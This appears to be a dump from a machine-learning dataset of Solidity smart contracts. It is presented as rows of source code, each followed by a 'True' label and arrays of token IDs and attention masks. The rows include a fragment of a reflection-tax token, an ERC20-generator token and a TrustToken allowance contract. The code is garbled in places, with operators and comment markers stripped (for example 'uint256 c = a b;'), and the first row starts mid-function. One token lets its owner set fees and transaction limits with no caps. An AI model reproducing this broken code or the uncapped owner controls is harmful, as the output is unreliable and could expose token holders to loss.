(tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2321, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 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/** Submitted for verification at Etherscan.io on 2021-06-07 / // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. / // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /* * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright / contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /* * @dev Returns the token generator tool. / function generator() public pure returns (string memory) { return _GENERATOR; } /* * @dev Returns the token generator version. / function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /* * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5718, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 1008, 2009, 2003, 2525, 20119, 1012, 1008, 1008, 5860, 19771, 5017, 1024, 13103, 1005, 1055, 3166, 2003, 2489, 1997, 2151, 14000, 4953, 1996, 19204, 1998, 1996, 2224, 2008, 2003, 2081, 1997, 2009, 1012, 1008, 1996, 2206, 3642, 2003, 3024, 2104, 10210, 6105, 1012, 3087, 2064, 2224, 2009, 2004, 2566, 2037, 3791, 1012, 1008, 1996, 13103, 1005, 1055, 3800, 2003, 2000, 2191, 2111, 2583, 2000, 19204, 4697, 2037, 4784, 2302, 16861, 2030, 7079, 2005, 2009, 1012, 1008, 3120, 3642, 2003, 2092, 7718, 1998, 10843, 7172, 2000, 5547, 3891, 1997, 12883, 1998, 2000, 8970, 2653, 20600, 2015, 1012, 1008, 4312, 1996, 5309, 1997, 19204, 2015, 7336, 1037, 2152, 3014, 1997, 3891, 1012, 2077, 13868, 19204, 2015, 1010, 2009, 2003, 6749, 2000, 1008, 5362, 21094, 2035, 1996, 2592, 1998, 10831, 6851, 1999, 19204, 3954, 1005, 1055, 3785, 1012, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.18; /* MIT License Copyright (c) 2018 TrustToken Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. / /* * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / function Ownable() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Claimable is Ownable { address public pendingOwner; /* * @dev Modifier throws if called by any account other than the pendingOwner. / modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /* * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /* * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract AllowanceSheet is Claimable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public allowanceOf; function addAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].add(value); } function subAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].sub(value); } function setAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = value; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 10210, 6105, 9385, 1006, 1039, 1007, 2760, 3404, 18715, 2368, 6656, 2003, 2182, 3762, 4379, 1010, 2489, 1997, 3715, 1010, 2000, 2151, 2711, 11381, 1037, 6100, 1997, 2023, 4007, 1998, 3378, 12653, 6764, 1006, 1996, 1000, 4007, 1000, 1007, 1010, 2000, 3066, 1999, 1996, 4007, 2302, 16840, 1010, 2164, 2302, 22718, 1996, 2916, 2000, 2224, 1010, 6100, 1010, 19933, 1010, 13590, 1010, 10172, 1010, 16062, 1010, 4942, 13231, 12325, 1010, 1998, 1013, 2030, 5271, 4809, 1997, 1996, 4007, 1010, 1998, 2000, 9146, 5381, 2000, 3183, 1996, 4007, 2003, 19851, 2000, 2079, 2061, 1010, 3395, 2000, 1996, 2206, 3785, 1024, 1996, 2682, 9385, 5060, 1998, 2023, 6656, 5060, 4618, 2022, 2443, 1999, 2035, 4809, 2030, 6937, 8810, 1997, 1996, 4007, 1012, 1996, 4007, 2003, 3024, 1000, 2004, 2003, 1000, 1010, 2302, 10943, 2100, 1997, 2151, 2785, 1010, 4671, 2030, 13339, 1010, 2164, 2021, 2025, 3132, 2000, 1996, 10943, 3111, 1997, 6432, 8010, 1010, 10516, 2005, 1037, 3327, 3800, 1998, 2512, 2378, 19699, 23496, 3672, 1012, 1999, 2053, 2724, 4618, 1996, 6048, 2030, 9385, 13304, 2022, 20090, 2005, 2151, 4366, 1010, 12394, 2030, 2060, 14000, 1010, 3251, 1999, 2019, 2895, 1997, 3206, 1010, 17153, 2102, 2030, 4728, 1010, 17707, 2013, 1010, 2041, 1997, 2030, 1999, 4434, 2007, 1996, 4007, 2030, 1996, 2224, 2030, 2060, 24069, 1999, 1996, 4007, 1012, 1008, 1013, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 16109, 2407, 1997, 2048, 3616, 1010, 19817, 4609, 18252, 1996, 22035, 9515, 3372, 1012, 1008, 1013, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 20865, 1006, 1038, 1028, 1014, 1007, 1025, 1013, 1013, 5024, 3012, 8073, 11618, 2043, 16023, 2011, 1014, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 1013, 1013, 20865, 1006, 1037, 1027, 1027, 1038, 1008, 1039, 1009, 1037, 1003, 1038, 1007, 1025, 1013, 1013, 2045, 2003, 2053, 2553, 1999, 2029, 2023, 2987, 1004, 1001, 4464, 1025, 1056, 2907, 2709, 1039, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 4942, 20528, 16649, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1006, 1045, 1012, 1041, 1012, 2065, 4942, 6494, 22342, 2003, 3618, 2084, 8117, 24997, 2094, 1007, 1012, 1008, 1013, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 